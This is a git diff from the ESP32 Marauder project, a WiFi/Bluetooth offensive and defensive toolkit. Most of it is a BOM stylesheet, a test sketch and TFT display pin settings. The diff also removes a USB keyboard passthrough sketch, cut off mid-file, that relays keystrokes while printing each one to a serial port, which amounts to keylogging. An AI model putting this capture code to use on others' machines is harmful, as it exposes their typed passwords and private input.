* Generate a comma separated value BOM list (csv file type).
|
||||
* Components are sorted by ref and grouped by same value+footprint
|
||||
One value per line
|
||||
Fields are
|
||||
Comment,Designator,Footprint,LCSC
|
||||
|
||||
The command line is
|
||||
xsltproc -o "%O.csv" "full_path/bom2grouped_csv_jlcpcb.xsl" "%I"
|
||||
-->
|
||||
|
||||
|
||||
<!DOCTYPE xsl:stylesheet [
|
||||
<!ENTITY nl "
"> <!--new line CR, LF, or LF, your choice -->
|
||||
]>
|
||||
|
||||
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
|
||||
<xsl:output method="text"/>
|
||||
|
||||
<xsl:variable name="digits" select="'1234567890'" />
|
||||
|
||||
<!-- for matching grouping of footprint and value combination -->
|
||||
<xsl:key name="partTypeByValueAndFootprint" match="comp" use="concat(footprint, '-', value)" />
|
||||
|
||||
<!-- for table head and empty table fields-->
|
||||
<xsl:key name="headentr" match="field" use="@name"/>
|
||||
|
||||
<!-- main part -->
|
||||
<xsl:template match="/export">
|
||||
<xsl:text>Comment,Designator,Footprint,LCSC</xsl:text>
|
||||
<!-- all table entries -->
|
||||
<xsl:apply-templates select="components"/>
|
||||
</xsl:template>
|
||||
|
||||
<xsl:template match="components">
|
||||
<!-- for Muenchian grouping of footprint and value combination -->
|
||||
<xsl:for-each select="comp[count(. | key('partTypeByValueAndFootprint', concat(footprint, '-', value))[1]) = 1]">
|
||||
<xsl:sort select="@ref" />
|
||||
<xsl:text>&nl;</xsl:text>
|
||||
<xsl:text>"</xsl:text><xsl:value-of select="value"/><xsl:text>","</xsl:text>
|
||||
<!-- list of all references -->
|
||||
<xsl:for-each select="key('partTypeByValueAndFootprint', concat(footprint, '-', value))">
|
||||
<!-- strip non-digits from reference and sort based on remaining number -->
|
||||
<xsl:sort select="translate(@ref, translate(@ref, $digits, ''), '')" data-type="number" />
|
||||
<xsl:value-of select="@ref"/>
|
||||
<xsl:if test="position() != last()"><xsl:text>,</xsl:text></xsl:if>
|
||||
</xsl:for-each>
|
||||
<xsl:text>","</xsl:text>
|
||||
|
||||
<xsl:value-of select="footprint"/><xsl:text>","</xsl:text>
|
||||
<xsl:value-of select="fields/field[@name='LCSC']"/><xsl:text>"</xsl:text>
|
||||
</xsl:for-each>
|
||||
</xsl:template>
|
||||
|
||||
<!-- table entries with dynamic table head -->
|
||||
<xsl:template match="fields">
|
||||
|
||||
<!-- remember current fields section -->
|
||||
<xsl:variable name="fieldvar" select="field"/>
|
||||
|
||||
<!-- for all existing head entries -->
|
||||
<xsl:for-each select="/export/components/comp/fields/field[generate-id(.) = generate-id(key('headentr',@name)[1])]">
|
||||
<xsl:variable name="allnames" select="@name"/>
|
||||
<xsl:text>,"</xsl:text>
|
||||
|
||||
<!-- for all field entries in the remembered fields section -->
|
||||
<xsl:for-each select="$fieldvar">
|
||||
|
||||
<!-- only if this field entry exists in this fields section -->
|
||||
<xsl:if test="@name=$allnames">
|
||||
<!-- content of the field -->
|
||||
<xsl:value-of select="."/>
|
||||
</xsl:if>
|
||||
<!--
|
||||
If it does not exist, use an empty cell in output for this row.
|
||||
Every non-blank entry is assigned to its proper column.
|
||||
-->
|
||||
</xsl:for-each>
|
||||
|
||||
<xsl:text>"</xsl:text>
|
||||
</xsl:for-each>
|
||||
</xsl:template>
|
||||
|
||||
</xsl:stylesheet>
|
||||
86423
PCBs/FlipperZero/WiFi-Devboard-Pro/fp-info-cache
Normal file
86423
PCBs/FlipperZero/WiFi-Devboard-Pro/fp-info-cache
Normal file
File diff suppressed because it is too large
Load Diff
@@ -3,7 +3,7 @@
|
||||
<!---[](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
|
||||
<!---Shields/Badges https://shields.io/--->
|
||||
|
||||
# ESP32 Marauder v0.10.0
|
||||
# ESP32 Marauder
|
||||
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
|
||||
<p align="center">
|
||||
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
|
||||
|
||||
7
TestFile/TestFile.ino
Normal file
7
TestFile/TestFile.ino
Normal file
@@ -0,0 +1,7 @@
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
Serial.println("Just a test");
|
||||
}
|
||||
@@ -21,8 +21,9 @@
|
||||
|
||||
//#include <User_Setup.h> // Default setup is root library folder
|
||||
|
||||
//#include <User_Setup_og_marauder.h>
|
||||
#include <User_Setup_marauder_mini.h>
|
||||
#include <User_Setup_og_marauder.h>
|
||||
//#include <User_Setup_marauder_mini.h>
|
||||
//#include <User_Setup_marauder_m5stickc.h>
|
||||
|
||||
//#include <User_Setups/Setup1_ILI9341.h> // Setup file configured for my ILI9341
|
||||
//#include <User_Setups/Setup2_ST7735.h> // Setup file configured for my ST7735
|
||||
|
||||
318
User_Setup_marauder_m5stickc.h
Normal file
318
User_Setup_marauder_m5stickc.h
Normal file
@@ -0,0 +1,318 @@
|
||||
// USER DEFINED SETTINGS
|
||||
// Set driver type, fonts to be loaded, pins used and SPI control method etc
|
||||
//
|
||||
// See the User_Setup_Select.h file if you wish to be able to define multiple
|
||||
// setups and then easily select which setup file is used by the compiler.
|
||||
//
|
||||
// If this file is edited correctly then all the library example sketches should
|
||||
// run without the need to make any more changes for a particular hardware setup!
|
||||
// Note that some sketches are designed for a particular TFT pixel width/height
|
||||
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 1. Call up the right driver file and any options for it
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// Display type - only define if RPi display
|
||||
//#define RPI_DRIVER
|
||||
|
||||
#define CGRAM_OFFSET
|
||||
|
||||
// Only define one driver, the other ones must be commented out
|
||||
//#define ILI9341_DRIVER // OG Marauder
|
||||
//#define ST7735_DRIVER // Marauder Mini // Define additional parameters below for this display
|
||||
//#define ILI9163_DRIVER // Define additional parameters below for this display
|
||||
//#define S6D02A1_DRIVER
|
||||
//#define RPI_ILI9486_DRIVER // 20MHz maximum SPI
|
||||
//#define HX8357D_DRIVER
|
||||
//#define ILI9481_DRIVER
|
||||
//#define ILI9486_DRIVER
|
||||
//#define ILI9488_DRIVER // WARNING: Do not connect ILI9488 display SDO to MISO if other devices share the SPI bus (TFT SDO does NOT tristate when CS is high)
|
||||
//#define ST7789_DRIVER // Full configuration option, define additional parameters below for this display
|
||||
#define ST7789_2_DRIVER // Minimal configuration option, define additional parameters below for this display
|
||||
//#define R61581_DRIVER
|
||||
//#define RM68140_DRIVER
|
||||
//#define ST7796_DRIVER
|
||||
|
||||
// Some displays support SPI reads via the MISO pin, other displays have a single
|
||||
// bi-directional SDA pin and the library will try to read this via the MOSI line.
|
||||
// To use the SDA line for reading data from the TFT uncomment the following line:
|
||||
|
||||
// #define TFT_SDA_READ // This option is for ESP32 ONLY, tested with ST7789 display only
|
||||
|
||||
// For ST7789 and ILI9341 ONLY, define the colour order IF the blue and red are swapped on your display
|
||||
// Try ONE option at a time to find the correct colour order for your display
|
||||
|
||||
#define TFT_RGB_ORDER TFT_RGB // Colour order Red-Green-Blue
|
||||
// #define TFT_RGB_ORDER TFT_BGR // Colour order Blue-Green-Red
|
||||
|
||||
// For M5Stack ESP32 module with integrated ILI9341 display ONLY, remove // in line below
|
||||
|
||||
// #define M5STACK
|
||||
|
||||
// For ST7789, ST7735 and ILI9163 ONLY, define the pixel width and height in portrait orientation
|
||||
// #define TFT_WIDTH 80
|
||||
#define TFT_WIDTH 135 // Marauder Mini
|
||||
// #define TFT_WIDTH 240 // ST7789 240 x 240 and 240 x 320
|
||||
// #define TFT_HEIGHT 160
|
||||
#define TFT_HEIGHT 240 // Marauder Mini
|
||||
// #define TFT_HEIGHT 240 // ST7789 240 x 240
|
||||
// #define TFT_HEIGHT 320 // ST7789 240 x 320
|
||||
|
||||
// For ST7735 ONLY, define the type of display, originally this was based on the
|
||||
// colour of the tab on the screen protector film but this is not always true, so try
|
||||
// out the different options below if the screen does not display graphics correctly,
|
||||
// e.g. colours wrong, mirror images, or tray pixels at the edges.
|
||||
// Comment out ALL BUT ONE of these options for a ST7735 display driver, save this
|
||||
// this User_Setup file, then rebuild and upload the sketch to the board again:
|
||||
|
||||
// #define ST7735_INITB
|
||||
// #define ST7735_GREENTAB
|
||||
// #define ST7735_GREENTAB2
|
||||
// #define ST7735_GREENTAB3
|
||||
// #define ST7735_GREENTAB128 // For 128 x 128 display
|
||||
// #define ST7735_GREENTAB160x80 // For 160 x 80 display (BGR, inverted, 26 offset)
|
||||
// #define ST7735_REDTAB
|
||||
// #define ST7735_BLACKTAB
|
||||
// #define ST7735_REDTAB160x80 // For 160 x 80 display with 24 pixel offset
|
||||
|
||||
// If colours are inverted (white shows as black) then uncomment one of the next
|
||||
// 2 lines try both options, one of the options should correct the inversion.
|
||||
|
||||
// #define TFT_INVERSION_ON
|
||||
// #define TFT_INVERSION_OFF
|
||||
|
||||
// If a backlight control signal is available then define the TFT_BL pin in Section 2
|
||||
// below. The backlight will be turned ON when tft.begin() is called, but the library
|
||||
// needs to know if the LEDs are ON with the pin HIGH or LOW. If the LEDs are to be
|
||||
// driven with a PWM signal or turned OFF/ON then this must be handled by the user
|
||||
// sketch. e.g. with digitalWrite(TFT_BL, LOW);
|
||||
|
||||
#define TFT_BACKLIGHT_ON LOW // HIGH or LOW are options
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 2. Define the pins that are used to interface with the display here
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// We must use hardware SPI, a minimum of 3 GPIO pins is needed.
|
||||
// Typical setup for ESP8266 NodeMCU ESP-12 is :
|
||||
//
|
||||
// Display SDO/MISO to NodeMCU pin D6 (or leave disconnected if not reading TFT)
|
||||
// Display LED to NodeMCU pin VIN (or 5V, see below)
|
||||
// Display SCK to NodeMCU pin D5
|
||||
// Display SDI/MOSI to NodeMCU pin D7
|
||||
// Display DC (RS/AO)to NodeMCU pin D3
|
||||
// Display RESET to NodeMCU pin D4 (or RST, see below)
|
||||
// Display CS to NodeMCU pin D8 (or GND, see below)
|
||||
// Display GND to NodeMCU pin GND (0V)
|
||||
// Display VCC to NodeMCU 5V or 3.3V
|
||||
//
|
||||
// The TFT RESET pin can be connected to the NodeMCU RST pin or 3.3V to free up a control pin
|
||||
//
|
||||
// The DC (Data Command) pin may be labeled AO or RS (Register Select)
|
||||
//
|
||||
// With some displays such as the ILI9341 the TFT CS pin can be connected to GND if no more
|
||||
// SPI devices (e.g. an SD Card) are connected, in this case comment out the #define TFT_CS
|
||||
// line below so it is NOT defined. Other displays such at the ST7735 require the TFT CS pin
|
||||
// to be toggled during setup, so in these cases the TFT_CS line must be defined and connected.
|
||||
//
|
||||
// The NodeMCU D0 pin can be used for RST
|
||||
//
|
||||
//
|
||||
// Note: only some versions of the NodeMCU provide the USB 5V on the VIN pin
|
||||
// If 5V is not available at a pin you can use 3.3V but backlight brightness
|
||||
// will be lower.
|
||||
|
||||
|
||||
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP8266 SETUP ######
|
||||
|
||||
// For NodeMCU - use pin numbers in the form PIN_Dx where Dx is the NodeMCU pin designation
|
||||
//#define TFT_CS PIN_D8 // Chip select control pin D8
|
||||
//#define TFT_DC PIN_D3 // Data Command control pin
|
||||
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
|
||||
|
||||
//#define TFT_BL PIN_D1 // LED back-light (only for ST7789 with backlight control pin)
|
||||
|
||||
//#define TOUCH_CS PIN_D2 // Chip select pin (T_CS) of touch screen
|
||||
|
||||
//#define TFT_WR PIN_D2 // Write strobe for modified Raspberry Pi TFT only
|
||||
|
||||
|
||||
// ###### FOR ESP8266 OVERLAP MODE EDIT THE PIN NUMBERS IN THE FOLLOWING LINES ######
|
||||
|
||||
// Overlap mode shares the ESP8266 FLASH SPI bus with the TFT so has a performance impact
|
||||
// but saves pins for other functions. It is best not to connect MISO as some displays
|
||||
// do not tristate that line wjen chip select is high!
|
||||
// On NodeMCU 1.0 SD0=MISO, SD1=MOSI, CLK=SCLK to connect to TFT in overlap mode
|
||||
// On NodeMCU V3 S0 =MISO, S1 =MOSI, S2 =SCLK
|
||||
// In ESP8266 overlap mode the following must be defined
|
||||
|
||||
//#define TFT_SPI_OVERLAP
|
||||
|
||||
// In ESP8266 overlap mode the TFT chip select MUST connect to pin D3
|
||||
//#define TFT_CS PIN_D3
|
||||
//#define TFT_DC PIN_D5 // Data Command control pin
|
||||
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
|
||||
|
||||
|
||||
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP32 SETUP ######
|
||||
|
||||
// For ESP32 Dev board (only tested with ILI9341 display)
|
||||
// The hardware SPI can be mapped to any pins
|
||||
|
||||
// Marauder Mini
|
||||
#define TFT_CS 5 // Chip select control pin D8
|
||||
#define TFT_DC 23 // Data Command control pin
|
||||
#define TFT_RST 18 // Reset pin (could connect to NodeMCU RST, see next line)
|
||||
#define TOUCH_CS 10
|
||||
//#define TFT_MISO 19
|
||||
#define TFT_MOSI 15
|
||||
#define TFT_SCLK 13
|
||||
#define TFT_BL 10
|
||||
|
||||
/*
|
||||
// ESP32 Marauder
|
||||
#define TFT_MISO 19
|
||||
#define TFT_MOSI 23
|
||||
#define TFT_SCLK 18
|
||||
#define TFT_CS 17 // Chip select control pin
|
||||
#define TFT_DC 16 // Data Command control pin
|
||||
#define TFT_RST 5 // Reset pin (could connect to RST pin)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
|
||||
|
||||
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
|
||||
|
||||
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
|
||||
*/
|
||||
/////////////////////////////
|
||||
|
||||
// ESP32 Centauri
|
||||
/*
|
||||
#define TFT_MISO 19
|
||||
#define TFT_MOSI 23
|
||||
#define TFT_SCLK 18
|
||||
#define TFT_CS 27 // Chip select control pin
|
||||
#define TFT_DC 26 // Data Command control pin
|
||||
#define TFT_RST 5 // Reset pin (could connect to RST pin)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
|
||||
|
||||
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
|
||||
|
||||
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
|
||||
*/
|
||||
/////////////////////////////
|
||||
|
||||
//#define TFT_WR 22 // Write strobe for modified Raspberry Pi TFT only
|
||||
|
||||
// For the M5Stack module use these #define lines
|
||||
//#define TFT_MISO 19
|
||||
//#define TFT_MOSI 23
|
||||
//#define TFT_SCLK 18
|
||||
//#define TFT_CS 14 // Chip select control pin
|
||||
//#define TFT_DC 27 // Data Command control pin
|
||||
//#define TFT_RST 33 // Reset pin (could connect to Arduino RESET pin)
|
||||
//#define TFT_BL 32 // LED back-light (required for M5Stack)
|
||||
|
||||
// ###### EDIT THE PINs BELOW TO SUIT YOUR ESP32 PARALLEL TFT SETUP ######
|
||||
|
||||
// The library supports 8 bit parallel TFTs with the ESP32, the pin
|
||||
// selection below is compatible with ESP32 boards in UNO format.
|
||||
// Wemos D32 boards need to be modified, see diagram in Tools folder.
|
||||
// Only ILI9481 and ILI9341 based displays have been tested!
|
||||
|
||||
// Parallel bus is only supported on ESP32
|
||||
// Uncomment line below to use ESP32 Parallel interface instead of SPI
|
||||
|
||||
//#define ESP32_PARALLEL
|
||||
|
||||
// The ESP32 and TFT the pins used for testing are:
|
||||
//#define TFT_CS 33 // Chip select control pin (library pulls permanently low
|
||||
//#define TFT_DC 15 // Data Command control pin - must use a pin in the range 0-31
|
||||
//#define TFT_RST 32 // Reset pin, toggles on startup
|
||||
|
||||
//#define TFT_WR 4 // Write strobe control pin - must use a pin in the range 0-31
|
||||
//#define TFT_RD 2 // Read strobe control pin
|
||||
|
||||
//#define TFT_D0 12 // Must use pins in the range 0-31 for the data bus
|
||||
//#define TFT_D1 13 // so a single register write sets/clears all bits.
|
||||
//#define TFT_D2 26 // Pins can be randomly assigned, this does not affect
|
||||
//#define TFT_D3 25 // TFT screen update performance.
|
||||
//#define TFT_D4 17
|
||||
//#define TFT_D5 16
|
||||
//#define TFT_D6 27
|
||||
//#define TFT_D7 14
|
||||
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 3. Define the fonts that are to be used here
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// Comment out the #defines below with // to stop that font being loaded
|
||||
// The ESP8366 and ESP32 have plenty of memory so commenting out fonts is not
|
||||
// normally necessary. If all fonts are loaded the extra FLASH space required is
|
||||
// about 17Kbytes. To save FLASH space only enable the fonts you need!
|
||||
|
||||
#define LOAD_GLCD // Font 1. Original Adafruit 8 pixel font needs ~1820 bytes in FLASH
|
||||
#define LOAD_FONT2 // Font 2. Small 16 pixel high font, needs ~3534 bytes in FLASH, 96 characters
|
||||
#define LOAD_FONT4 // Font 4. Medium 26 pixel high font, needs ~5848 bytes in FLASH, 96 characters
|
||||
#define LOAD_FONT6 // Font 6. Large 48 pixel font, needs ~2666 bytes in FLASH, only characters 1234567890:-.apm
|
||||
#define LOAD_FONT7 // Font 7. 7 segment 48 pixel font, needs ~2438 bytes in FLASH, only characters 1234567890:-.
|
||||
#define LOAD_FONT8 // Font 8. Large 75 pixel font needs ~3256 bytes in FLASH, only characters 1234567890:-.
|
||||
//#define LOAD_FONT8N // Font 8. Alternative to Font 8 above, slightly narrower, so 3 digits fit a 160 pixel TFT
|
||||
#define LOAD_GFXFF // FreeFonts. Include access to the 48 Adafruit_GFX free fonts FF1 to FF48 and custom fonts
|
||||
|
||||
// Comment out the #define below to stop the SPIFFS filing system and smooth font code being loaded
|
||||
// this will save ~20kbytes of FLASH
|
||||
#define SMOOTH_FONT
|
||||
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 4. Other options
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// Define the SPI clock frequency, this affects the graphics rendering speed. Too
|
||||
// fast and the TFT driver will not keep up and display corruption appears.
|
||||
// With an ILI9341 display 40MHz works OK, 80MHz sometimes fails
|
||||
// With a ST7735 display more than 27MHz may not work (spurious pixels and lines)
|
||||
// With an ILI9163 display 27 MHz works OK.
|
||||
|
||||
// #define SPI_FREQUENCY 1000000
|
||||
//#define SPI_FREQUENCY 5000000
|
||||
// #define SPI_FREQUENCY 10000000
|
||||
#define SPI_FREQUENCY 20000000
|
||||
//#define SPI_FREQUENCY 27000000 // Marauder // Actually sets it to 26.67MHz = 80/3
|
||||
// #define SPI_FREQUENCY 40000000
|
||||
// #define SPI_FREQUENCY 80000000
|
||||
|
||||
// Optional reduced SPI frequency for reading TFT
|
||||
#define SPI_READ_FREQUENCY 20000000
|
||||
|
||||
// The XPT2046 requires a lower SPI clock rate of 2.5MHz so we define that here:
|
||||
#define SPI_TOUCH_FREQUENCY 2500000
|
||||
|
||||
// The ESP32 has 2 free SPI ports i.e. VSPI and HSPI, the VSPI is the default.
|
||||
// If the VSPI port is in use and pins are not accessible (e.g. TTGO T-Beam)
|
||||
// then uncomment the following line:
|
||||
//#define USE_HSPI_PORT
|
||||
|
||||
// Comment out the following #define if "SPI Transactions" do not need to be
|
||||
// supported. When commented out the code size will be smaller and sketches will
|
||||
// run slightly faster, so leave it commented out unless you need it!
|
||||
|
||||
// Transaction support is needed to work with SD library but not needed with TFT_SdFat
|
||||
// Transaction support is required if other SPI devices are connected.
|
||||
|
||||
// Transactions are automatically enabled by the library for an ESP32 (to use HAL mutex)
|
||||
// so changing it here has no effect
|
||||
|
||||
// #define SUPPORT_TRANSACTIONS
|
||||
@@ -1,459 +0,0 @@
|
||||
#include <hidboot.h>
|
||||
#include <usbhub.h>
|
||||
#include "Keyboard.h"
|
||||
|
||||
#define Serial Serial1
|
||||
|
||||
// Satisfy the IDE, which needs to see the include statment in the ino too.
|
||||
#ifdef dobogusinclude
|
||||
#include <spi4teensy3.h>
|
||||
#include <SPI.h>
|
||||
#endif
|
||||
|
||||
#include <SPI.h>
|
||||
#include <SD.h>
|
||||
|
||||
#define CAPS_LOCK 0x39
|
||||
#define NUM_LOCK 0x53
|
||||
#define SCROLL_LOCK 0x47
|
||||
#define PRINT_SCREEN 0x46
|
||||
#define NUM_1 0x59
|
||||
#define NUM_2 0x5A
|
||||
#define NUM_3 0x5B
|
||||
#define NUM_4 0x5C
|
||||
#define NUM_5 0x5D
|
||||
#define NUM_6 0x5E
|
||||
#define NUM_7 0x5F
|
||||
#define NUM_8 0x60
|
||||
#define NUM_9 0x61
|
||||
#define NUM_0 0x62
|
||||
|
||||
#define KEY_CAPS_LOCK 0x01
|
||||
#define KEY_NUM_LOCK 0x02
|
||||
#define KEY_SCROLL_LOCK 0x04
|
||||
#define KEY_PRINT_SCREEN 0x05
|
||||
#define KEY_NUM_1 0x31
|
||||
#define KEY_NUM_2 0x32
|
||||
#define KEY_NUM_3 0x33
|
||||
#define KEY_NUM_4 0x34
|
||||
#define KEY_NUM_5 0x35
|
||||
#define KEY_NUM_6 0x36
|
||||
#define KEY_NUM_7 0x37
|
||||
#define KEY_NUM_8 0x38
|
||||
#define KEY_NUM_9 0x39
|
||||
#define KEY_NUM_0 0x30
|
||||
|
||||
String bufferStr = "";
|
||||
String last = "";
|
||||
|
||||
int defaultDelay = 0;
|
||||
|
||||
bool shift = false;
|
||||
bool num_lock = false; // false is working half way
|
||||
|
||||
USB Usb;
|
||||
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);
|
||||
uint32_t next_time;
|
||||
|
||||
class KbdRptParser : public KeyboardReportParser{
|
||||
public:
|
||||
uint8_t _parse(uint8_t key);
|
||||
String _getChar(uint8_t key);
|
||||
protected:
|
||||
void OnControlKeysChanged(uint8_t before, uint8_t after);
|
||||
|
||||
void OnKeyDown (uint8_t mod, uint8_t key);
|
||||
void OnKeyUp (uint8_t mod, uint8_t key);
|
||||
void OnKeyPressed(uint8_t key);
|
||||
|
||||
void _press(uint8_t key);
|
||||
void _release(uint8_t key);
|
||||
};
|
||||
|
||||
void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key){
|
||||
digitalWrite(LED_BUILTIN, HIGH);
|
||||
int parsedKey = _parse(key);
|
||||
if(parsedKey == key){
|
||||
uint8_t c = OemToAscii(mod, key);
|
||||
OnKeyPressed(c);
|
||||
if(c != 0x20 && c != 0x00) _press(c);
|
||||
else _press(key);
|
||||
}else _press(parsedKey);
|
||||
digitalWrite(LED_BUILTIN, LOW);
|
||||
}
|
||||
|
||||
void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key){
|
||||
int parsedKey = _parse(key);
|
||||
if(parsedKey == key){
|
||||
uint8_t c = OemToAscii(mod, key);
|
||||
OnKeyPressed(c);
|
||||
if(c != 0x20 && c != 0x00){
|
||||
_release(c);
|
||||
Serial.print((char)c);
|
||||
}
|
||||
else{
|
||||
_release(key);
|
||||
Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
}
|
||||
}else{
|
||||
_release(parsedKey);
|
||||
Serial.print(_getChar(key));
|
||||
}
|
||||
}
|
||||
|
||||
void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
|
||||
|
||||
MODIFIERKEYS beforeMod;
|
||||
*((uint8_t*)&beforeMod) = before;
|
||||
|
||||
MODIFIERKEYS afterMod;
|
||||
*((uint8_t*)&afterMod) = after;
|
||||
|
||||
//left
|
||||
if(beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl){
|
||||
if(afterMod.bmLeftCtrl) Keyboard.press(KEY_LEFT_CTRL);
|
||||
else Keyboard.release(KEY_LEFT_CTRL);
|
||||
Serial.print("<ctrl "+(String)afterMod.bmLeftCtrl+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmLeftShift != afterMod.bmLeftShift){
|
||||
if(afterMod.bmLeftShift) Keyboard.press(KEY_LEFT_SHIFT);
|
||||
else Keyboard.release(KEY_LEFT_SHIFT);
|
||||
shift = afterMod.bmLeftShift;
|
||||
//Serial.print("<shift "+(String)afterMod.bmLeftShift+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmLeftAlt != afterMod.bmLeftAlt){
|
||||
if(afterMod.bmLeftAlt) Keyboard.press(KEY_LEFT_ALT);
|
||||
else Keyboard.release(KEY_LEFT_ALT);
|
||||
Serial.print("<alt "+(String)afterMod.bmLeftAlt+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI){
|
||||
if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
|
||||
else Keyboard.release(KEY_LEFT_GUI);
|
||||
Serial.print("<gui "+(String)afterMod.bmLeftGUI+">");
|
||||
}
|
||||
|
||||
//right
|
||||
if(beforeMod.bmRightCtrl != afterMod.bmRightCtrl){
|
||||
if(afterMod.bmRightCtrl) Keyboard.press(KEY_RIGHT_CTRL);
|
||||
else Keyboard.release(KEY_RIGHT_CTRL);
|
||||
Serial.print("<ctrl "+(String)afterMod.bmRightCtrl+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmRightShift != afterMod.bmRightShift){
|
||||
if(afterMod.bmRightShift) Keyboard.press(KEY_RIGHT_SHIFT);
|
||||
else Keyboard.release(KEY_RIGHT_SHIFT);
|
||||
shift = afterMod.bmLeftShift;
|
||||
//Serial.print("<shift "+(String)afterMod.bmRightShift+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmRightAlt != afterMod.bmRightAlt){
|
||||
if(afterMod.bmRightAlt) Keyboard.press(KEY_RIGHT_ALT);
|
||||
else Keyboard.release(KEY_RIGHT_ALT);
|
||||
Serial.print("<alt "+(String)afterMod.bmRightAlt+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmRightGUI != afterMod.bmRightGUI){
|
||||
if(afterMod.bmRightGUI) Keyboard.press(KEY_RIGHT_GUI);
|
||||
else Keyboard.release(KEY_RIGHT_GUI);
|
||||
Serial.print("<gui "+(String)afterMod.bmRightGUI+">");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void KbdRptParser::OnKeyPressed(uint8_t key){
|
||||
/*Serial.print("ASCII: \"");
|
||||
Serial.print((char)key);
|
||||
Serial.print("\" = 0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.print("; ");*/
|
||||
};
|
||||
|
||||
uint8_t KbdRptParser::_parse(uint8_t key){
|
||||
/*
|
||||
Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
Serial.print(" = ");*/
|
||||
switch(key){
|
||||
case CAPS_LOCK: return KEY_CAPS_LOCK; break; // CAPS
|
||||
case NUM_LOCK: return KEY_NUM_LOCK; break; // NUM LOCK
|
||||
case SCROLL_LOCK: return KEY_SCROLL_LOCK; break; // SCROLL LOCK
|
||||
case PRINT_SCREEN: return KEY_PRINT_SCREEN; break; // PRINT SCREEN
|
||||
case NUM_1 : if (!num_lock) return KEY_NUM_1; break;
|
||||
case NUM_2 : if (!num_lock) return KEY_NUM_2; break;
|
||||
case NUM_3 : if (!num_lock) return KEY_NUM_3; break;
|
||||
case NUM_4 : if (!num_lock) return KEY_NUM_4; break;
|
||||
case NUM_5 : if (!num_lock) return KEY_NUM_5; break;
|
||||
case NUM_6 : if (!num_lock) return KEY_NUM_6; break;
|
||||
case NUM_7 : if (!num_lock) return KEY_NUM_7; break;
|
||||
case NUM_8 : if (!num_lock) return KEY_NUM_8; break;
|
||||
case NUM_9 : if (!num_lock) return KEY_NUM_9; break;
|
||||
case NUM_0 : if (!num_lock) return KEY_NUM_0; break;
|
||||
case 0x2C: return 0x20; break; // SPACE
|
||||
case 40: return KEY_RETURN; break;
|
||||
case 41: return KEY_ESC; break;
|
||||
case 42: return KEY_BACKSPACE; break;
|
||||
case 43: return KEY_TAB; break;
|
||||
case 58: return KEY_F1; break;
|
||||
case 59: return KEY_F2; break;
|
||||
case 60: return KEY_F3; break;
|
||||
case 61: return KEY_F4; break;
|
||||
case 62: return KEY_F5; break;
|
||||
case 63: return KEY_F6; break;
|
||||
case 64: return KEY_F7; break;
|
||||
case 65: return KEY_F8; break;
|
||||
case 66: return KEY_F9; break;
|
||||
case 67: return KEY_F10; break;
|
||||
case 68: return KEY_F11; break;
|
||||
case 69: return KEY_F12; break;
|
||||
case 73: return KEY_INSERT; break;
|
||||
case 74: return KEY_HOME; break;
|
||||
case 75: return KEY_PAGE_UP; break;
|
||||
case 76: return KEY_DELETE; break;
|
||||
case 77: return KEY_END; break;
|
||||
case 78: return KEY_PAGE_DOWN; break;
|
||||
case 79: return KEY_RIGHT_ARROW; break;
|
||||
case 80: return KEY_LEFT_ARROW; break;
|
||||
case 81: return KEY_DOWN_ARROW; break;
|
||||
case 82: return KEY_UP_ARROW; break;
|
||||
case 88: return KEY_RETURN; break;
|
||||
//=====[DE-Keyboard]=====//
|
||||
case 0x64: return 236; break; // <
|
||||
case 0x32: return 92; break; // #
|
||||
//======================//
|
||||
default: {
|
||||
//Serial.print(" N/A ");
|
||||
return key;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String KbdRptParser::_getChar(uint8_t key){
|
||||
switch(key){
|
||||
case CAPS_LOCK: return "<CAPS_LOCK>"; break; // CAPS
|
||||
